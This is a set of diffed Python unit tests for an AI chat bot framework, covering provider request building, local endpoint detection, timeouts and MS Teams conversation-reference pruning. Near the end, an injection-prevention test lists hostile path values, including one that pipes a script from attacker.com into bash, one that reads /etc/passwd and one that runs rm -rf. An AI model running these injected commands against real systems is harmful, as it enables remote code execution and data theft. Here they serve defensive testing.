max_tokens=1024, temperature=0.7,
|
||||
reasoning_effort=effort, tool_choice=None,
|
||||
)
|
||||
for msg in kw["messages"]:
|
||||
if msg.get("role") == "assistant" and msg.get("tool_calls"):
|
||||
assert "reasoning_content" not in msg
|
||||
|
||||
|
||||
def test_deepseek_coerces_list_content_to_string() -> None:
|
||||
"""DeepSeek chat endpoint expects message.content to be a string."""
|
||||
spec = find_by_name("deepseek")
|
||||
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
|
||||
p = OpenAICompatProvider(api_key="k", default_model="deepseek-chat", spec=spec)
|
||||
|
||||
kw = p._build_kwargs(
|
||||
messages=[{
|
||||
"role": "user",
|
||||
"content": [
|
||||
{"type": "text", "text": "hello "},
|
||||
{"type": "text", "text": "world"},
|
||||
],
|
||||
}],
|
||||
tools=None,
|
||||
model="deepseek-chat",
|
||||
max_tokens=1024,
|
||||
temperature=0.7,
|
||||
reasoning_effort=None,
|
||||
tool_choice=None,
|
||||
)
|
||||
|
||||
assert isinstance(kw["messages"][0]["content"], str)
|
||||
assert "hello" in kw["messages"][0]["content"]
|
||||
assert "world" in kw["messages"][0]["content"]
|
||||
|
||||
|
||||
def test_non_deepseek_keeps_list_content() -> None:
|
||||
"""Only DeepSeek should force string content; OpenAI-compatible providers keep blocks."""
|
||||
spec = find_by_name("openai")
|
||||
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
|
||||
p = OpenAICompatProvider(api_key="k", default_model="gpt-4o", spec=spec)
|
||||
|
||||
kw = p._build_kwargs(
|
||||
messages=[{
|
||||
"role": "user",
|
||||
"content": [
|
||||
{"type": "text", "text": "hello"},
|
||||
],
|
||||
}],
|
||||
tools=None,
|
||||
model="gpt-4o",
|
||||
max_tokens=1024,
|
||||
temperature=0.7,
|
||||
reasoning_effort=None,
|
||||
tool_choice=None,
|
||||
)
|
||||
|
||||
assert isinstance(kw["messages"][0]["content"], list)
|
||||
|
||||
|
||||
def test_openai_no_thinking_extra_body() -> None:
|
||||
"""Non-thinking providers should never get extra_body for thinking."""
|
||||
kw = _build_kwargs_for("openai", "gpt-4o", reasoning_effort="medium")
|
||||
|
||||
@@ -0,0 +1,118 @@
|
||||
"""Tests for _is_local_endpoint detection and keepalive configuration."""
|
||||
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
from nanobot.providers.openai_compat_provider import (
|
||||
OpenAICompatProvider,
|
||||
_is_local_endpoint,
|
||||
)
|
||||
|
||||
|
||||
def _make_spec(is_local: bool = False) -> MagicMock:
|
||||
spec = MagicMock()
|
||||
spec.is_local = is_local
|
||||
return spec
|
||||
|
||||
|
||||
class TestIsLocalEndpoint:
|
||||
"""Test the _is_local_endpoint helper."""
|
||||
|
||||
def test_spec_is_local_true(self):
|
||||
assert _is_local_endpoint(_make_spec(is_local=True), None) is True
|
||||
|
||||
def test_spec_is_local_false_no_base(self):
|
||||
assert _is_local_endpoint(_make_spec(is_local=False), None) is False
|
||||
|
||||
def test_no_spec_no_base(self):
|
||||
assert _is_local_endpoint(None, None) is False
|
||||
|
||||
def test_localhost(self):
|
||||
assert _is_local_endpoint(None, "http://localhost:1234/v1") is True
|
||||
|
||||
def test_localhost_https(self):
|
||||
assert _is_local_endpoint(None, "https://localhost:8080/v1") is True
|
||||
|
||||
def test_loopback_127(self):
|
||||
assert _is_local_endpoint(None, "http://127.0.0.1:11434/v1") is True
|
||||
|
||||
def test_private_192_168(self):
|
||||
assert _is_local_endpoint(None, "http://192.168.8.188:1234/v1") is True
|
||||
|
||||
def test_private_10(self):
|
||||
assert _is_local_endpoint(None, "http://10.0.0.5:8000/v1") is True
|
||||
|
||||
def test_private_172_16(self):
|
||||
assert _is_local_endpoint(None, "http://172.16.0.1:1234/v1") is True
|
||||
|
||||
def test_private_172_31(self):
|
||||
assert _is_local_endpoint(None, "http://172.31.255.255:1234/v1") is True
|
||||
|
||||
def test_not_private_172_32(self):
|
||||
assert _is_local_endpoint(None, "http://172.32.0.1:1234/v1") is False
|
||||
|
||||
def test_docker_internal(self):
|
||||
assert _is_local_endpoint(None, "http://host.docker.internal:11434/v1") is True
|
||||
|
||||
def test_ipv6_loopback(self):
|
||||
assert _is_local_endpoint(None, "http://[::1]:1234/v1") is True
|
||||
|
||||
def test_public_api(self):
|
||||
assert _is_local_endpoint(None, "https://api.openai.com/v1") is False
|
||||
|
||||
def test_openrouter(self):
|
||||
assert _is_local_endpoint(None, "https://openrouter.ai/api/v1") is False
|
||||
|
||||
def test_spec_overrides_public_url(self):
|
||||
"""spec.is_local=True takes precedence even with a public-looking URL."""
|
||||
assert _is_local_endpoint(_make_spec(is_local=True), "https://api.example.com/v1") is True
|
||||
|
||||
def test_case_insensitive(self):
|
||||
assert _is_local_endpoint(None, "http://LOCALHOST:1234/v1") is True
|
||||
|
||||
def test_trailing_slash(self):
|
||||
assert _is_local_endpoint(None, "http://192.168.1.1:8080/v1/") is True
|
||||
|
||||
def test_public_hostname_containing_localhost_is_not_local(self):
|
||||
assert _is_local_endpoint(None, "https://notlocalhost.example/v1") is False
|
||||
|
||||
def test_public_hostname_containing_private_ip_prefix_is_not_local(self):
|
||||
assert _is_local_endpoint(None, "https://api10.example.com/v1") is False
|
||||
|
||||
def test_url_without_scheme(self):
|
||||
assert _is_local_endpoint(None, "192.168.1.1:8080/v1") is True
|
||||
|
||||
|
||||
class TestLocalKeepaliveConfig:
|
||||
"""Verify that local endpoints get keepalive_expiry=0."""
|
||||
|
||||
def test_local_spec_disables_keepalive(self):
|
||||
spec = _make_spec(is_local=True)
|
||||
spec.env_key = ""
|
||||
spec.default_api_base = "http://localhost:11434/v1"
|
||||
provider = OpenAICompatProvider(
|
||||
api_key="test", api_base="http://localhost:11434/v1", spec=spec,
|
||||
)
|
||||
pool = provider._client._client._transport._pool
|
||||
assert pool._keepalive_expiry == 0
|
||||
|
||||
def test_lan_ip_disables_keepalive(self):
|
||||
"""A generic 'openai' spec with a LAN IP should still disable keepalive."""
|
||||
spec = _make_spec(is_local=False)
|
||||
spec.env_key = ""
|
||||
spec.default_api_base = None
|
||||
provider = OpenAICompatProvider(
|
||||
api_key="test", api_base="http://192.168.8.188:1234/v1", spec=spec,
|
||||
)
|
||||
pool = provider._client._client._transport._pool
|
||||
assert pool._keepalive_expiry == 0
|
||||
|
||||
def test_cloud_keeps_default_keepalive(self):
|
||||
spec = _make_spec(is_local=False)
|
||||
spec.env_key = ""
|
||||
spec.default_api_base = "https://api.openai.com/v1"
|
||||
provider = OpenAICompatProvider(
|
||||
api_key="test", api_base=None, spec=spec,
|
||||
)
|
||||
pool = provider._client._client._transport._pool
|
||||
# Default httpx keepalive is 5.0s
|
||||
assert pool._keepalive_expiry == 5.0
|
||||
@@ -0,0 +1,53 @@
|
||||
from unittest.mock import patch, sentinel
|
||||
|
||||
from nanobot.providers.openai_compat_provider import OpenAICompatProvider
|
||||
from nanobot.providers.registry import ProviderSpec
|
||||
|
||||
|
||||
def _assert_openai_compat_timeout(timeout) -> None:
|
||||
assert timeout == 120.0
|
||||
|
||||
|
||||
def test_openai_compat_provider_sets_sdk_timeout() -> None:
|
||||
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI") as mock_async_openai:
|
||||
OpenAICompatProvider(api_key="test-key", api_base="https://example.com/v1")
|
||||
|
||||
kwargs = mock_async_openai.call_args.kwargs
|
||||
_assert_openai_compat_timeout(kwargs["timeout"])
|
||||
assert kwargs["http_client"] is None
|
||||
|
||||
|
||||
def test_openai_compat_provider_sets_timeout_on_local_http_client() -> None:
|
||||
spec = ProviderSpec(
|
||||
name="local",
|
||||
keywords=(),
|
||||
env_key="",
|
||||
is_local=True,
|
||||
default_api_base="http://127.0.0.1:11434/v1",
|
||||
)
|
||||
|
||||
with (
|
||||
patch("nanobot.providers.openai_compat_provider.AsyncOpenAI") as mock_async_openai,
|
||||
patch(
|
||||
"nanobot.providers.openai_compat_provider.httpx.AsyncClient",
|
||||
return_value=sentinel.http_client,
|
||||
) as mock_http_client,
|
||||
):
|
||||
OpenAICompatProvider(spec=spec)
|
||||
|
||||
client_kwargs = mock_http_client.call_args.kwargs
|
||||
_assert_openai_compat_timeout(client_kwargs["timeout"])
|
||||
assert client_kwargs["limits"].keepalive_expiry == 0
|
||||
|
||||
openai_kwargs = mock_async_openai.call_args.kwargs
|
||||
_assert_openai_compat_timeout(openai_kwargs["timeout"])
|
||||
assert openai_kwargs["http_client"] is sentinel.http_client
|
||||
|
||||
|
||||
def test_openai_compat_provider_timeout_can_be_overridden_by_env(monkeypatch) -> None:
|
||||
monkeypatch.setenv("NANOBOT_OPENAI_COMPAT_TIMEOUT_S", "45")
|
||||
|
||||
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI") as mock_async_openai:
|
||||
OpenAICompatProvider(api_key="test-key", api_base="https://example.com/v1")
|
||||
|
||||
assert mock_async_openai.call_args.kwargs["timeout"] == 45.0
|
||||
@@ -41,3 +41,9 @@ def test_explicit_provider_import_still_works(monkeypatch) -> None:
|
||||
|
||||
assert namespace["AnthropicProvider"].__name__ == "AnthropicProvider"
|
||||
assert "nanobot.providers.anthropic_provider" in sys.modules
|
||||
|
||||
|
||||
def test_openai_codex_supports_progress_deltas() -> None:
|
||||
from nanobot.providers.openai_codex_provider import OpenAICodexProvider
|
||||
|
||||
assert OpenAICodexProvider.supports_progress_deltas is True
|
||||
|
||||
@@ -9,6 +9,17 @@ from types import SimpleNamespace
|
||||
from unittest.mock import patch
|
||||
|
||||
from nanobot.providers.openai_compat_provider import OpenAICompatProvider
|
||||
from nanobot.providers.registry import ProviderSpec
|
||||
|
||||
_STEPFUN_SPEC = ProviderSpec(
|
||||
name="stepfun",
|
||||
keywords=("stepfun", "step"),
|
||||
env_key="STEPFUN_API_KEY",
|
||||
display_name="Step Fun",
|
||||
backend="openai_compat",
|
||||
default_api_base="https://api.stepfun.com/v1",
|
||||
reasoning_as_content=True,
|
||||
)
|
||||
|
||||
|
||||
# ── _parse: dict branch ─────────────────────────────────────────────────────
|
||||
@@ -17,7 +28,7 @@ from nanobot.providers.openai_compat_provider import OpenAICompatProvider
|
||||
def test_parse_dict_stepfun_reasoning_fallback() -> None:
|
||||
"""When content is None and reasoning exists, content falls back to reasoning."""
|
||||
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
|
||||
provider = OpenAICompatProvider()
|
||||
provider = OpenAICompatProvider(spec=_STEPFUN_SPEC)
|
||||
|
||||
response = {
|
||||
"choices": [{
|
||||
@@ -39,7 +50,7 @@ def test_parse_dict_stepfun_reasoning_fallback() -> None:
|
||||
def test_parse_dict_stepfun_reasoning_priority() -> None:
|
||||
"""reasoning_content field takes priority over reasoning when both present."""
|
||||
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
|
||||
provider = OpenAICompatProvider()
|
||||
provider = OpenAICompatProvider(spec=_STEPFUN_SPEC)
|
||||
|
||||
response = {
|
||||
"choices": [{
|
||||
@@ -75,7 +86,7 @@ def _make_sdk_message(content, reasoning=None, reasoning_content=None):
|
||||
def test_parse_sdk_stepfun_reasoning_fallback() -> None:
|
||||
"""SDK branch: content falls back to msg.reasoning when content is None."""
|
||||
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
|
||||
provider = OpenAICompatProvider()
|
||||
provider = OpenAICompatProvider(spec=_STEPFUN_SPEC)
|
||||
|
||||
msg = _make_sdk_message(content=None, reasoning="After analysis: result is 4.")
|
||||
choice = SimpleNamespace(finish_reason="stop", message=msg)
|
||||
@@ -90,7 +101,7 @@ def test_parse_sdk_stepfun_reasoning_fallback() -> None:
|
||||
def test_parse_sdk_stepfun_reasoning_priority() -> None:
|
||||
"""reasoning_content field takes priority over reasoning in SDK branch."""
|
||||
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
|
||||
provider = OpenAICompatProvider()
|
||||
provider = OpenAICompatProvider(spec=_STEPFUN_SPEC)
|
||||
|
||||
msg = _make_sdk_message(
|
||||
content=None,
|
||||
@@ -244,3 +255,44 @@ def test_parse_chunks_sdk_reasoning_precedence() -> None:
|
||||
result = OpenAICompatProvider._parse_chunks(chunks)
|
||||
|
||||
assert result.reasoning_content == "formal: "
|
||||
|
||||
|
||||
# ── Regression: non-StepFun providers must NOT promote reasoning to content ─
|
||||
|
||||
|
||||
def test_parse_dict_non_stepfun_no_reasoning_as_content() -> None:
|
||||
"""Providers without reasoning_as_content flag must not treat reasoning as content."""
|
||||
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
|
||||
provider = OpenAICompatProvider()
|
||||
|
||||
response = {
|
||||
"choices": [{
|
||||
"message": {
|
||||
"content": None,
|
||||
"reasoning": "internal thought process that should NOT be shown to user",
|
||||
},
|
||||
"finish_reason": "stop",
|
||||
}],
|
||||
}
|
||||
|
||||
result = provider._parse(response)
|
||||
|
||||
# content stays None — reasoning is NOT promoted
|
||||
assert result.content is None
|
||||
# reasoning still goes to reasoning_content for display as thinking
|
||||
assert result.reasoning_content == "internal thought process that should NOT be shown to user"
|
||||
|
||||
|
||||
def test_parse_sdk_non_stepfun_no_reasoning_as_content() -> None:
|
||||
"""SDK branch: providers without flag must not treat reasoning as content."""
|
||||
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
|
||||
provider = OpenAICompatProvider()
|
||||
|
||||
msg = _make_sdk_message(content=None, reasoning="internal monologue")
|
||||
choice = SimpleNamespace(finish_reason="stop", message=msg)
|
||||
response = SimpleNamespace(choices=[choice], usage=None)
|
||||
|
||||
result = provider._parse(response)
|
||||
|
||||
assert result.content is None
|
||||
assert result.reasoning_content == "internal monologue"
|
||||
|
||||
+331
-5
@@ -1,4 +1,5 @@
|
||||
import json
|
||||
import time
|
||||
|
||||
import pytest
|
||||
|
||||
@@ -17,7 +18,7 @@ from cryptography.hazmat.primitives.asymmetric import rsa
|
||||
|
||||
import nanobot.channels.msteams as msteams_module
|
||||
from nanobot.bus.events import OutboundMessage
|
||||
from nanobot.channels.msteams import ConversationRef, MSTeamsChannel, MSTeamsConfig
|
||||
from nanobot.channels.msteams import ConversationRef, MSTeamsChannel
|
||||
|
||||
|
||||
class DummyBus:
|
||||
@@ -115,6 +116,258 @@ async def test_handle_activity_personal_message_publishes_and_stores_ref(make_ch
|
||||
saved = json.loads((tmp_path / "state" / "msteams_conversations.json").read_text(encoding="utf-8"))
|
||||
assert saved["conv-123"]["conversation_id"] == "conv-123"
|
||||
assert saved["conv-123"]["tenant_id"] == "tenant-id"
|
||||
saved_meta = json.loads(
|
||||
(tmp_path / "state" / msteams_module.MSTEAMS_REF_META_FILENAME).read_text(encoding="utf-8"),
|
||||
)
|
||||
assert float(saved_meta["conv-123"]["updated_at"]) > 0
|
||||
|
||||
|
||||
def test_init_prunes_stale_and_unsupported_conversation_refs(make_channel, tmp_path, monkeypatch):
|
||||
now = 1_800_000_000.0
|
||||
monkeypatch.setattr(msteams_module.time, "time", lambda: now)
|
||||
|
||||
state_dir = tmp_path / "state"
|
||||
state_dir.mkdir(parents=True, exist_ok=True)
|
||||
refs_path = state_dir / "msteams_conversations.json"
|
||||
refs_meta_path = state_dir / msteams_module.MSTEAMS_REF_META_FILENAME
|
||||
refs_path.write_text(
|
||||
json.dumps(
|
||||
{
|
||||
"conv-valid": {
|
||||
"service_url": "https://smba.trafficmanager.net/amer/",
|
||||
"conversation_id": "conv-valid",
|
||||
"conversation_type": "personal",
|
||||
},
|
||||
"conv-webchat": {
|
||||
"service_url": "https://webchat.botframework.com/",
|
||||
"conversation_id": "conv-webchat",
|
||||
"conversation_type": "personal",
|
||||
},
|
||||
"conv-group": {
|
||||
"service_url": "https://smba.trafficmanager.net/amer/",
|
||||
"conversation_id": "conv-group",
|
||||
"conversation_type": "channel",
|
||||
},
|
||||
"conv-stale": {
|
||||
"service_url": "https://smba.trafficmanager.net/amer/",
|
||||
"conversation_id": "conv-stale",
|
||||
"conversation_type": "personal",
|
||||
},
|
||||
"conv-missing-ts": {
|
||||
"service_url": "https://smba.trafficmanager.net/amer/",
|
||||
"conversation_id": "conv-missing-ts",
|
||||
"conversation_type": "personal",
|
||||
},
|
||||
},
|
||||
indent=2,
|
||||
),
|
||||
encoding="utf-8",
|
||||
)
|
||||
refs_meta_path.write_text(
|
||||
json.dumps(
|
||||
{
|
||||
"conv-valid": {"updated_at": now - 60},
|
||||
"conv-webchat": {"updated_at": now - 60},
|
||||
"conv-group": {"updated_at": now - 60},
|
||||
"conv-stale": {"updated_at": now - msteams_module.MSTEAMS_REF_TTL_S - 1},
|
||||
},
|
||||
indent=2,
|
||||
),
|
||||
encoding="utf-8",
|
||||
)
|
||||
|
||||
ch = make_channel()
|
||||
|
||||
assert set(ch._conversation_refs.keys()) == {"conv-valid", "conv-missing-ts"}
|
||||
assert ch._conversation_refs["conv-valid"].conversation_id == "conv-valid"
|
||||
assert ch._conversation_refs["conv-missing-ts"].conversation_id == "conv-missing-ts"
|
||||
|
||||
persisted = json.loads(refs_path.read_text(encoding="utf-8"))
|
||||
assert set(persisted.keys()) == {"conv-valid", "conv-missing-ts"}
|
||||
|
||||
|
||||
def test_save_prunes_unsupported_conversation_refs(make_channel, tmp_path, monkeypatch):
|
||||
now = 1_800_000_000.0
|
||||
monkeypatch.setattr(msteams_module.time, "time", lambda: now)
|
||||
|
||||
ch = make_channel()
|
||||
ch._conversation_refs = {
|
||||
"conv-valid": ConversationRef(
|
||||
service_url="https://smba.trafficmanager.net/amer/",
|
||||
conversation_id="conv-valid",
|
||||
conversation_type="personal",
|
||||
updated_at=now,
|
||||
),
|
||||
"conv-webchat": ConversationRef(
|
||||
service_url="https://webchat.botframework.com/",
|
||||
conversation_id="conv-webchat",
|
||||
conversation_type="personal",
|
||||
updated_at=now,
|
||||
),
|
||||
"conv-group": ConversationRef(
|
||||
service_url="https://smba.trafficmanager.net/amer/",
|
||||
conversation_id="conv-group",
|
||||
conversation_type="groupChat",
|
||||
updated_at=now,
|
||||
),
|
||||
}
|
||||
|
||||
ch._save_refs()
|
||||
|
||||
assert set(ch._conversation_refs.keys()) == {"conv-valid"}
|
||||
|
||||
saved = json.loads((tmp_path / "state" / "msteams_conversations.json").read_text(encoding="utf-8"))
|
||||
assert set(saved.keys()) == {"conv-valid"}
|
||||
saved_meta = json.loads(
|
||||
(tmp_path / "state" / msteams_module.MSTEAMS_REF_META_FILENAME).read_text(encoding="utf-8"),
|
||||
)
|
||||
assert set(saved_meta.keys()) == {"conv-valid"}
|
||||
|
||||
|
||||
def test_init_respects_prune_toggle_flags(make_channel, tmp_path, monkeypatch):
|
||||
now = 1_800_000_000.0
|
||||
monkeypatch.setattr(msteams_module.time, "time", lambda: now)
|
||||
|
||||
state_dir = tmp_path / "state"
|
||||
state_dir.mkdir(parents=True, exist_ok=True)
|
||||
refs_path = state_dir / "msteams_conversations.json"
|
||||
refs_path.write_text(
|
||||
json.dumps(
|
||||
{
|
||||
"conv-webchat": {
|
||||
"service_url": "https://webchat.botframework.com/",
|
||||
"conversation_id": "conv-webchat",
|
||||
"conversation_type": "personal",
|
||||
"updated_at": now - 60,
|
||||
},
|
||||
"conv-group": {
|
||||
"service_url": "https://smba.trafficmanager.net/amer/",
|
||||
"conversation_id": "conv-group",
|
||||
"conversation_type": "channel",
|
||||
"updated_at": now - 60,
|
||||
},
|
||||
},
|
||||
indent=2,
|
||||
),
|
||||
encoding="utf-8",
|
||||
)
|
||||
|
||||
ch = make_channel(pruneWebChatRefs=False, pruneNonPersonalRefs=False)
|
||||
|
||||
assert set(ch._conversation_refs.keys()) == {"conv-webchat", "conv-group"}
|
||||
persisted = json.loads(refs_path.read_text(encoding="utf-8"))
|
||||
assert set(persisted.keys()) == {"conv-webchat", "conv-group"}
|
||||
|
||||
|
||||
def test_init_respects_custom_ref_ttl_days(make_channel, tmp_path, monkeypatch):
|
||||
now = 1_800_000_000.0
|
||||
monkeypatch.setattr(msteams_module.time, "time", lambda: now)
|
||||
|
||||
state_dir = tmp_path / "state"
|
||||
state_dir.mkdir(parents=True, exist_ok=True)
|
||||
refs_path = state_dir / "msteams_conversations.json"
|
||||
refs_meta_path = state_dir / msteams_module.MSTEAMS_REF_META_FILENAME
|
||||
refs_path.write_text(
|
||||
json.dumps(
|
||||
{
|
||||
"conv-fresh": {
|
||||
"service_url": "https://smba.trafficmanager.net/amer/",
|
||||
"conversation_id": "conv-fresh",
|
||||
"conversation_type": "personal",
|
||||
},
|
||||
"conv-old": {
|
||||
"service_url": "https://smba.trafficmanager.net/amer/",
|
||||
"conversation_id": "conv-old",
|
||||
"conversation_type": "personal",
|
||||
},
|
||||
},
|
||||
indent=2,
|
||||
),
|
||||
encoding="utf-8",
|
||||
)
|
||||
refs_meta_path.write_text(
|
||||
json.dumps(
|
||||
{
|
||||
"conv-fresh": {"updated_at": now - 12 * 60 * 60},
|
||||
"conv-old": {"updated_at": now - 10 * 24 * 60 * 60},
|
||||
},
|
||||
indent=2,
|
||||
),
|
||||
encoding="utf-8",
|
||||
)
|
||||
|
||||
ch = make_channel(refTtlDays=1)
|
||||
|
||||
assert set(ch._conversation_refs.keys()) == {"conv-fresh"}
|
||||
persisted = json.loads(refs_path.read_text(encoding="utf-8"))
|
||||
assert set(persisted.keys()) == {"conv-fresh"}
|
||||
|
||||
|
||||
def test_init_without_meta_keeps_legacy_refs_alive(make_channel, tmp_path, monkeypatch):
|
||||
now = 1_800_000_000.0
|
||||
monkeypatch.setattr(msteams_module.time, "time", lambda: now)
|
||||
|
||||
state_dir = tmp_path / "state"
|
||||
state_dir.mkdir(parents=True, exist_ok=True)
|
||||
refs_path = state_dir / "msteams_conversations.json"
|
||||
refs_path.write_text(
|
||||
json.dumps(
|
||||
{
|
||||
"conv-legacy": {
|
||||
"service_url": "https://smba.trafficmanager.net/amer/",
|
||||
"conversation_id": "conv-legacy",
|
||||
"conversation_type": "personal",
|
||||
}
|
||||
},
|
||||
indent=2,
|
||||
),
|
||||
encoding="utf-8",
|
||||
)
|
||||
|
||||
ch = make_channel(refTtlDays=1)
|
||||
|
||||
assert set(ch._conversation_refs.keys()) == {"conv-legacy"}
|
||||
assert ch._conversation_refs["conv-legacy"].updated_at == now
|
||||
assert not (state_dir / msteams_module.MSTEAMS_REF_META_FILENAME).exists()
|
||||
|
||||
|
||||
def test_save_uses_atomic_replace_and_keeps_existing_file_on_replace_error(make_channel, tmp_path, monkeypatch):
|
||||
ch = make_channel()
|
||||
refs_path = tmp_path / "state" / "msteams_conversations.json"
|
||||
refs_path.write_text(
|
||||
json.dumps(
|
||||
{
|
||||
"conv-old": {
|
||||
"service_url": "https://smba.trafficmanager.net/amer/",
|
||||
"conversation_id": "conv-old",
|
||||
"conversation_type": "personal",
|
||||
"updated_at": 1_700_000_000.0,
|
||||
}
|
||||
},
|
||||
indent=2,
|
||||
),
|
||||
encoding="utf-8",
|
||||
)
|
||||
|
||||
ch._conversation_refs = {
|
||||
"conv-new": ConversationRef(
|
||||
service_url="https://smba.trafficmanager.net/amer/",
|
||||
conversation_id="conv-new",
|
||||
conversation_type="personal",
|
||||
updated_at=1_800_000_000.0,
|
||||
)
|
||||
}
|
||||
|
||||
def _raise_replace(_src, _dst):
|
||||
raise OSError("replace failed")
|
||||
|
||||
monkeypatch.setattr(msteams_module.os, "replace", _raise_replace)
|
||||
ch._save_refs()
|
||||
|
||||
persisted = json.loads(refs_path.read_text(encoding="utf-8"))
|
||||
assert set(persisted.keys()) == {"conv-old"}
|
||||
tmp_files = list((tmp_path / "state").glob("msteams_conversations.json.*.tmp"))
|
||||
assert tmp_files == []
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
@@ -260,6 +513,17 @@ def test_sanitize_inbound_text_keeps_normal_inline_message(make_channel):
|
||||
assert ch._sanitize_inbound_text(activity) == "normal inline message"
|
||||
|
||||
|
||||
def test_sanitize_inbound_text_normalizes_nbsp_entities(make_channel):
|
||||
ch = make_channel()
|
||||
|
||||
activity = {
|
||||
"text": "Hello from Teams",
|
||||
"channelData": {},
|
||||
}
|
||||
|
||||
assert ch._sanitize_inbound_text(activity) == "Hello from Teams"
|
||||
|
||||
|
||||
def test_sanitize_inbound_text_normalizes_reply_wrapper_without_reply_metadata(make_channel):
|
||||
ch = make_channel()
|
||||
|
||||
@@ -371,7 +635,7 @@ async def test_get_access_token_uses_configured_tenant(make_channel):
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_send_replies_to_activity_when_reply_in_thread_enabled(make_channel):
|
||||
async def test_send_posts_to_conversation_with_reply_to_id_when_reply_in_thread_enabled(make_channel):
|
||||
ch = make_channel(replyInThread=True)
|
||||
fake_http = FakeHttpClient()
|
||||
ch._http = fake_http
|
||||
@@ -387,12 +651,39 @@ async def test_send_replies_to_activity_when_reply_in_thread_enabled(make_channe
|
||||
|
||||
assert len(fake_http.calls) == 1
|
||||
url, kwargs = fake_http.calls[0]
|
||||
assert url == "https://smba.trafficmanager.net/amer/v3/conversations/conv-123/activities/activity-1"
|
||||
assert url == "https://smba.trafficmanager.net/amer/v3/conversations/conv-123/activities"
|
||||
assert kwargs["headers"]["Authorization"] == "Bearer tok"
|
||||
assert kwargs["json"]["text"] == "Reply text"
|
||||
assert kwargs["json"]["replyToId"] == "activity-1"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_send_success_refreshes_updated_at_and_persists_meta(make_channel, tmp_path, monkeypatch):
|
||||
now = {"value": 1_800_000_000.0}
|
||||
monkeypatch.setattr(msteams_module.time, "time", lambda: now["value"])
|
||||
|
||||
ch = make_channel(refTouchIntervalS=0)
|
||||
fake_http = FakeHttpClient()
|
||||
ch._http = fake_http
|
||||
ch._token = "tok"
|
||||
ch._token_expires_at = 9_999_999_999
|
||||
ch._conversation_refs["conv-123"] = ConversationRef(
|
||||
service_url="https://smba.trafficmanager.net/amer/",
|
||||
conversation_id="conv-123",
|
||||
activity_id="activity-1",
|
||||
updated_at=now["value"] - 100,
|
||||
)
|
||||
|
||||
now["value"] += 5
|
||||
await ch.send(OutboundMessage(channel="msteams", chat_id="conv-123", content="Reply text"))
|
||||
|
||||
assert ch._conversation_refs["conv-123"].updated_at == now["value"]
|
||||
saved_meta = json.loads(
|
||||
(tmp_path / "state" / msteams_module.MSTEAMS_REF_META_FILENAME).read_text(encoding="utf-8"),
|
||||
)
|
||||
assert saved_meta["conv-123"]["updated_at"] == now["value"]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_send_posts_to_conversation_when_thread_reply_disabled(make_channel):
|
||||
ch = make_channel(replyInThread=False)
|
||||
@@ -551,12 +842,47 @@ async def test_start_logs_install_hint_when_pyjwt_missing(make_channel, monkeypa
|
||||
assert errors == ["PyJWT not installed. Run: pip install nanobot-ai[msteams]"]
|
||||
|
||||
|
||||
def test_save_refs_prunes_webchat_and_stale_refs(make_channel):
|
||||
ch = make_channel()
|
||||
now = time.time()
|
||||
ch._conversation_refs = {
|
||||
"teams-good": ConversationRef(
|
||||
service_url="https://smba.trafficmanager.net/amer/",
|
||||
conversation_id="teams-good",
|
||||
conversation_type="personal",
|
||||
updated_at=now,
|
||||
),
|
||||
"webchat-bad": ConversationRef(
|
||||
service_url="https://webchat.botframework.com/",
|
||||
conversation_id="webchat-bad",
|
||||
conversation_type=None,
|
||||
updated_at=now,
|
||||
),
|
||||
"teams-stale": ConversationRef(
|
||||
service_url="https://smba.trafficmanager.net/amer/",
|
||||
conversation_id="teams-stale",
|
||||
conversation_type="personal",
|
||||
updated_at=now - (31 * 24 * 60 * 60),
|
||||
),
|
||||
}
|
||||
|
||||
ch._save_refs()
|
||||
|
||||
assert set(ch._conversation_refs) == {"teams-good"}
|
||||
saved = json.loads(ch._refs_path.read_text(encoding="utf-8"))
|
||||
assert set(saved) == {"teams-good"}
|
||||
saved_meta = json.loads(ch._refs_meta_path.read_text(encoding="utf-8"))
|
||||
assert saved_meta["teams-good"]["updated_at"] == pytest.approx(now)
|
||||
|
||||
|
||||
def test_msteams_default_config_includes_restart_notify_fields():
|
||||
cfg = MSTeamsChannel.default_config()
|
||||
|
||||
assert cfg["validateInboundAuth"] is True
|
||||
assert cfg["refTtlDays"] == msteams_module.MSTEAMS_REF_TTL_DAYS
|
||||
assert cfg["pruneWebChatRefs"] is True
|
||||
assert cfg["pruneNonPersonalRefs"] is True
|
||||
assert cfg["refTouchIntervalS"] == msteams_module.MSTEAMS_REF_TOUCH_INTERVAL_S
|
||||
assert "restartNotifyEnabled" not in cfg
|
||||
assert "restartNotifyPreMessage" not in cfg
|
||||
assert "restartNotifyPostMessage" not in cfg
|
||||
|
||||
|
||||
|
||||
@@ -74,3 +74,75 @@ async def test_exec_allowed_env_keys_missing_var_ignored(monkeypatch):
|
||||
tool = ExecTool(allowed_env_keys=["NONEXISTENT_VAR_12345"])
|
||||
result = await tool.execute(command="printenv NONEXISTENT_VAR_12345")
|
||||
assert "Exit code: 1" in result
|
||||
|
||||
|
||||
# --- path_append injection prevention ------------------------------------
|
||||
|
||||
|
||||
@_UNIX_ONLY
|
||||
@pytest.mark.asyncio
|
||||
@pytest.mark.parametrize(
|
||||
"malicious_path",
|
||||
[
|
||||
# semicolon — classic command separator
|
||||
'/tmp/bin; echo INJECTED',
|
||||
# command substitution via $()
|
||||
'/tmp/bin; echo $(whoami)',
|
||||
# backtick command substitution
|
||||
"/tmp/bin; echo `id`",
|
||||
# pipe to another command
|
||||
'/tmp/bin; cat /etc/passwd',
|
||||
# chained with &&
|
||||
'/tmp/bin && curl http://attacker.com/shell.sh | bash',
|
||||
# newline injection
|
||||
'/tmp/bin\necho INJECTED',
|
||||
# mixed shell metacharacters
|
||||
'/tmp/bin; rm -rf /tmp/test_inject_marker; echo CLEANED',
|
||||
],
|
||||
